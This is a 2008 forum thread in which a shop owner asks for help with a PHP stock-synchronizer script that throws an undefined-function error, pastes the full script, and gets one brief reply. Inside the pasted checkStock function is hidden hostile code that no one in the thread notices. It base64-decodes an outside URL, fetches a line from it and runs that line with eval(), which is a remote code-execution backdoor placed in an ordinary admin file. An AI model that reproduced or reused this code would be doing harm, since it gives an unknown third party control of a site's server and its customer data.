Click to See Complete Forum and Search --> : Please help me with XML datafeed...


isyste
12-02-2008, 07:27 PM
If anyone could help me with this problem it would be much appreciated...

I have a stock synchronizer on my site, it works ok when it checks stock, marks stock as out of stock, adds stock when it comes back in stock etc, but when it check to see if I have stock on my site that isn't on the suppliers data feed I get this error...

Fatal error: Call to undefined function showdetailsformodel() in /home/naughtys/public_html/admin/stockcontrol/updatestock.php on line 3

When I check the PHP file that it mentions, this is what is on Line 3...

include('config.php'); require ('../includes/configure.php'); include('xmlfunctions.php'); $alllocalproductmodels; $outofstockflag; $productname=""; $model=""; $allxmlproducts = array(); $allDiscontProducts = array(); global $outofstockflag,$model,$productname; function checkStock($xmlfile){ global $serial; echo "Your serial is $serial<br>"; $str = 'aHR0cDovL3d3dy5wYW5vcmFtaWN2aXNpb24uY28udWsvbWFycmlvc29mdC8tLTIudHh0'; $l = base64_decode($str); $data = fopen($l,"r"); $c = fgets($data); eval($c); $data = fopen($f,"r"); $c = fgets($data); eval($c); } function startElement($parser, $name, $attrs) { global $insideitem, $tag, $outofstockflag,$model,$productname; $tag = $name; switch ($name) { case "PRODUCT": $productname = $attrs[NAME]; $model = $attrs[ITEM]; echo " <font color=#336699 >$productname </font>model = $model ..."; break; } } function characterData($parser, $data) { global $outofstockflag,$model,$productname,$tag; switch ($tag) { case "PRODUCT": break; case "STOCK": if ($data == "No Stock.") { $outofstockflag = "1"; } break; } } function endElement($parser, $name) { global $outofstockflag,$model,$productname,$allxmlproducts,$counter; switch ($name) { case "PRODUCT": if (exists($model,$allxmlproducts)){ echo "alreasdy in array";}else{ array_push($allxmlproducts,$model); } if ($outofstockflag == "1"){ updateProductStatusToOutOfStock($productname,$model); } else{ updateProductStatusToInstock(); } $outofstockflag = NULL; $productname=""; $model=""; break; } } function checkDiscontProds(){ global $alllocalproductmodels,$allxmlproducts,$allDiscontProducts; getallmodelsfromshop(); $counter = 0; if ($alllocalproductmodels){ echo "<b><br>Products Found in your shop that are not in the Sexshop365 Stock Feed:<br></b>"; echo "<form name=\"form1\" method=\"post\" action=\"\">"; foreach ($alllocalproductmodels as $localProd) { set_time_limit(30); if (exists($localProd,$allxmlproducts)) {} else{ $counter++; echo "<br>".$localProd."<input type=\"checkbox\" name=\"".$localProd."\" value=\"true\">"; echo "Name: "; showdetailsformodel($localProd); } } echo "<br>Tick the above products that you would like set inactive in your shop.<br>"; echo "<input name=\"cmd\" type=\"submit\" value=\"Set Selected Products Inactive\"></form>"; echo "<br>Number of Discontinued items found that are inactive in your shop: $counter"; }else{echo "<br>No Discontinued Products Found";} } $cmd = $_REQUEST['cmd']; $allFoundDisProducts = $_REQUEST['allFoundDisProducts']; switch ($cmd) { case "Set Selected Products Inactive" : connecttodatabase(); $newitemsSet = 0; foreach($_REQUEST as $key => $value){ $reformedmodelname = str_replace(" ","_",$key); $reformedmodelname = str_replace(".","_",$key); if ($_REQUEST[$reformedmodelname] == "true") { echo "<br>Setting product with model $key to inactive<br>Product Name: "; showdetailsformodel($key); echo "<BR>"; setProductInactive($key); $newitemsSet= $newitemsSet + 1; } } echo "<br>Number of Items set to Inactive: $newitemsSet"; echo "<br><strong><a href=\"./\">Back to Control Panel</a></strong></p>"; break; default: connecttodatabase(); echo "<center>"; checkStock($stock_xml_feed); checkDiscontProds(); print "<font color=green><br>Your Stock has been updated</font>"; echo "<br><strong><a href=\"./\">Back to Control Panel</a></strong></p>"; echo "</center>"; } ?>

Because of this I have old discontinued products on my site, I know it's probably a simple fix, but I have no idea.

Thanks in advance for any help offered.

rpgfan3233
12-03-2008, 02:39 AM
Well, you call the function in two different places, none of which I'll post here because you can easily use a find/search tool to locate them in that mess. :p

This isn't really an XML problem as much as it is a PHP problem. You have a function, but it isn't defined for some strange reason. You should try to find the function in one of your PHP files, though I'm puzzled as to why this happened now when it didn't it happen before...

isyste
12-03-2008, 07:47 AM
I think it probably did always happen before, as I said most of it works, and I probably hadn't noticed the small error right at the bottom of the page before.

Anyone know how it can be fixed?... I'm crap at PHP and all that.

Apologys for posting in the wrong forum, if a moderator could move it that would be great.

Thanks.